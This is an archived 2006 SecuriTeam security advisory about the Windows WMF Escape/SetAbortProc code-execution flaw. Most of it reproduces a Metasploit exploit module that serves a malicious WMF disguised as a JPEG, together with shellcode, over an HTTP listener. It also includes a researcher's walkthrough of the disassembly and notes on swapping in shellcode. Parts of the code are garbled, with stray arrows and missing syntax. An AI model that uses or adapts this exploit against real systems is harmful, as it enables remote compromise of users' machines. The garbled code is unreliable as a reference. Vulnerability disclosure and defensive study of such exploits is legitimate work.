

[EXPL] Microsoft Windows Shimgvw.dll WMF (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00005.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 3 Jan 2006 10:01:22 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Microsoft Windows Shimgvw.dll WMF (Exploit)

SUMMARY

A vulnerability in the way Microsoft's Windows parsers WMF files that allows attackers to insert arbitrary code to the file and cause its execution by crafting a malformed WMF file.

DETAILS

Workaround:

To Un-register the Windows Picture and Fax Viewer (Shimgvw.dll) that is vulnerable do the following:

1. Click Start, click Run, type

```
regsvr32 -u %windir%\system32\shimgvw.dll
```

and then click OK.

2. A dialog box appears to confirm that the un-registration process has succeeded. Click OK to close the dialog box.

Exploit:

[EXPL] Microsoft Windows Shimgvw.dll WMF (Exploit)

```
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ie_xp_pfv_metafile;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;

my $advanced =
{
};

my $info =
{
'Name' => 'Windows XP/2003 Metafile Escape() SetAbortProc Code
Execution',
'Version' => '$Revision: 1.6 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
'san <san [at] xfocus.org>',
'O600KO78RUS[at]unknown.ru'
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a vulnerability in the GDI library included with
Windows XP and 2003. This vulnerability uses the 'Escape' metafile
function
to execute arbitrary code through the SetAbortProc procedure. This
module
generates a random WMF record stream for each request.
}),
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},
}
```

[EXPL] Microsoft Windows Shimgvw.dll WMF (Exploit)

```
'Payload' =>
{
'Space' => 1000+int(rand(1024)), # :-)
},

'Refs' =>
[
['BID', '16074'],
['CVE', '2005-4560'],
['OSVDB', '21987'],
['MIL', '111'],
['URL', 'http://www.sourceforge.net/caolan/ora-wmf.html'],
['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic - Windows XP / Windows 2003' ]
],

'Keys' => [ 'wmf' ],

'DisclosureDate' => 'Dec 27 2005',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced},
@_);
return($self);
}

sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;

# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[ - ] Failed to create local HTTP listener on " .
$self->GetVar('HTTPPORT'));
return;
}
}
```

[EXPL] Microsoft Windows Shimgvw.dll WMF (Exploit)

```
my $httphost = $self->GetVar('HTTPHOST');
if ($httphost eq '0.0.0.0') {
$httphost = Pex::Utils::SourceIP('1.2.3.4');
}

$self->PrintLine("[*] Waiting for connections to http://. $httphost
":". $self->GetVar('HTTPPORT') ."/");

while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new from socket($client));
}

return;
}

sub HandleHttpClient
{
my $self = shift;
my $fd = shift;

my $shellcode = $self->GetVar('EncodedPayload')->Payload;

# Push our minimum length just over the ethernet MTU
my $pre_mlen = 1440 + rand(8192);
my $suf_mlen = rand(8192)+128;

# The number of random objects we generated
my $fill = 0;

# The buffer of random bogus objects
my $pre_buff = "";
my $suf_buff = "";

while (length($pre_buff) < $pre_mlen && $fill < 65535) {
$pre_buff .= RandomWMFRecord();
$fill += 1;
}

while (length($suf_buff) < $suf_mlen && $fill < 65535) {
$suf_buff .= RandomWMFRecord();
$fill += 1;
}

my $scLen = 18 + 8 + 6 + length($shellcode) + length($pre_buff) +
length($suf_buff);
my $content =
#
# WindowsMetaHeader
#
pack('vvvVvVv',
```

[EXPL] Microsoft Windows Shimgvw.dll WMF (Exploit)

```
# WORD FileType; /* Type of metafile (0=memory, 1=disk) */  
1  
# WORD HeaderSize; /* Size of header in WORDS (always 9) */  
9  
# WORD Version; /* Version of Microsoft Windows used */  
0x0300  
# DWORD FileSize; /* Total size of the metafile in WORDs */  
$klen/2  
# WORD NumOfObjects; /* Number of objects in the file */  
$fill+1  
# DWORD MaxRecordSize; /* The size of largest record in WORDs */  
int(rand(64)+8)  
# WORD NumOfParams; /* Not Used (always 0) */  
0  
)  
#  
# Filler data  
#  
$pre_buff  
#  
# StandardMetaRecord - Escape()  
#  
pack('Vvv')  
# DWORD Size; /* Total size of the record in WORDs */  
4  
# WORD Function; /* Function number (defined in WINDOWS.H) */  
0xff26, # Can also be 0x0026, 0x0626, etc...  
# WORD Parameters[]; /* Parameter values passed to function */  
9  
) $shellcode  
#  
# Filler data  
#  
$suf_buff  
#  
# Complete the structure  
#  
pack('Vv')  
3  
0  
);  
  
# Set the remote host information  
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);  
  
# Read the HTTP command  
my ($cmd, $url, $proto) = split //, $fd->RecvLine(10);
```

[EXPL] Microsoft Windows Shimgvw.dll WMF (Exploit)

\$self->PrintLine("[*] HTTP Client connected from \$rhost:\$rport, sending payload...");

Transmit the HTTP response

\$fd->Send(

"HTTP/1.0 200 OK\r\n".

"Content-Disposition: inline; filename=".

Pex::Text::AlphaNumText(int(rand(1024)+1)) . ".jpg\r\n".

"Content-Type: binary/octet-stream\r\n".

"Content-Length: " . length(\$content) . "\r\n".

"Connection: close\r\n".

"\r\n".

\$content

);

\$fd->Close();

↓

sub RandomWMFRecord {

my \$type = int(rand(3));

if (\$type == 0) {

CreatePenIndirect

return pack('Vv',

8,

0x02FA

). Pex::Text::RandomData(10)

↓

elsif (\$type == 1) {

CreateBrushIndirect

return pack('Vv',

7,

0x02FC

). Pex::Text::RandomData(8)

↓

else {

Rectangle

return pack('Vv',

7,

0x041B

). Pex::Text::RandomData(8)

↓

↓

↓

END

Used with permission by san[at]xfocus.org:

The recent wmf vul is really fun, I found some interest things after analysed it. I attached a very simple wmf file(64 bytes) which can crash your explorer. You can simply change those 0xcc to your shellcode.

An attach wmf file constructs with a 18 bytes metafile header which defined as following:

```
typedef struct WindowsMetaHeader  
{  
WORD FileType; /* Type of metafile (0=memory, 1=disk) */  
WORD HeaderSize; /* Size of header in WORDS (always 9) */  
WORD Version; /* Version of Microsoft Windows used */  
DWORD FileSize; /* Total size of the metafile in WORDs */  
WORD NumOfObjects; /* Number of objects in the file */  
DWORD MaxRecordSize; /* The size of largest record in WORDs */  
WORD NumOfParams; /* Not Used (always 0) */  
} WMFHED;
```

and two data records which defined as following:

```
typedef struct StandardMetaRecord  
{  
DWORD Size; /* Total size of the record in WORDs */  
WORD Function; /* Function number (defined in WINDOWS.H) */  
WORD Parameters[]; /* Parameter values passed to function */  
} WMFRECORD;
```

Somethings that we need to attention:

1. FileSize of WindowsMetaHeader is in WORDs, don't forget to divide 2;
2. the attack file is larger than 64 bytes;
3. the last record always has a function number of 0000h, a Size of 00000003h, and no Parameters array;
4. the attack record has a function number of 0626h, which defined in wingdi.h. 26h is important, it will flow to Escape function. I found it will lead to SetAbortProc only the Parameters[0] is 0009h.

```
text:77C4B65C loc_77C4B65C: ; CODE XREF: PlayMetaFileRecord+43#j  
text:77C4B65C ; DATA XREF: .text:off_77C769FE#o  
text:77C4B65C push [ebp+uFlags] ; case 0x26  
text:77C4B65F push ebx  
text:77C4B660 call sub_77C4B68A  
text:77C4B665 cmp eax, edi  
text:77C4B667 mov [ebp+var_4], eax  
text:77C4B66A jnz loc_77C4B424  
text:77C4B670 mov ax, [ebx+6]  
text:77C4B674 cmp ax, 0Fh  
text:77C4B678 jnz loc_77C5FC0A ; flow to Escape  
..
```

[EXPL] Microsoft Windows Shimgvw.dll WMF (Exploit)

text:77C61062 loc 77C61062: ; CODE XREF: Escape+ECB7#j
text:77C61062 sub edi, 6
text:77C61065 jz short loc 77C61090 ; it flow to SetAbortProc only the
Parameters[0] is 0009h
==
text:77C543E7 loc 77C543E7: ; CODE XREF: SetAbortProc+54#j
text:77C543E7 ; SetAbortProc+10720#j
text:77C543E7 xor eax, eax
text:77C543E9 mov [esi+14h], edi ; write callback pointer?
==
text:77C604C8 owned: ; CODE XREF: sub 77C4B09C+1E4#j
text:77C604C8 mov eax, [eax+14h] ; the pointer
text:77C604CB cmp eax, ecx
text:77C604CD jz loc 77C4B286
text:77C604D3 push ecx
text:77C604D4 push edi
text:77C604D5 call eax ; got it

Best Regards

==
san <san[at]xfocus.org>

ADDITIONAL INFORMATION

The information has been provided by <mailto:hdm@xxxxxxxxxxxxxxxx> H D
Moore.

The original article can be found at:

<http://metasploit.com/projects/Framework/exploits.html#ie_xp_pfv_metafile>
http://metasploit.com/projects/Framework/exploits.html#ie_xp_pfv_metafile

The advisory can be found at:

<http://www.securiteam.com/windowsntfocus/6B0022KEKM.html>
http://www.securiteam.com/windowsntfocus/6B0022KEKM.html,
<http://www.securiteam.com/windowsntfocus/6A0012KEKI.html>
http://www.securiteam.com/windowsntfocus/6A0012KEKI.html

For more information:

<http://blogs.securiteam.com/index.php/archives/163>
http://blogs.securiteam.com/index.php/archives/163

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- Prev by Date: *[UNIX] Metadot Privileges Escalation*
- Next by Date: *[NT] Nortel SSL VPN Cross Site Scripting and Command Execution*
- Previous by thread: *[UNIX] Metadot Privileges Escalation*
- Next by thread: *[NT] Nortel SSL VPN Cross Site Scripting and Command Execution*
- Index(es):
 - ◆ *Date*
 - ◆ *Thread*